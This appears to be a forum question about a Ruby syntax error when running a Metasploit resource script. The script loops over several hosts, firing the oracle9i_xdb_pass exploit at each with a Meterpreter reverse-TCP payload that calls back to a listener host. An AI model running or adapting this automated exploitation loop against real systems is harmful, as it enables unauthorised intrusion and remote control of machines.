I've been trying to automate Metasploit, but could not find success.
I want a text file of hosts to undergo the same exploit ("oracle9i_xdb_pass"), with the same options.
This is my code:
<ruby>
lports = ["80","443","445"]
index = 0;
targets = ["192.168.1.1","192.168.1.2","192.168.1.3"]
targets.each do |target|
run_single("use exploit/windows/http/oracle9i_xdb_pass")
run_single("set LHOST 192.168.2.7")
run_single("set PAYLOAD windows/meterpreter/reverse_tcp")
run_single("set LPORT #{lports[index]}")
run_single("set RHOST #{target}")
run_single("set ExitOnSession false")
run_single("exploit -j -z")
index = index + 1
end
</ruby>
The issue is, when I run this programm using ruby xploit.rb
, I get this error:
ruby exploit.rb
exploit.rb:1: syntax error, unexpected '<'
<ruby>
^
exploit.rb:15: syntax error, unexpected '<', expecting end-of-input
</ruby>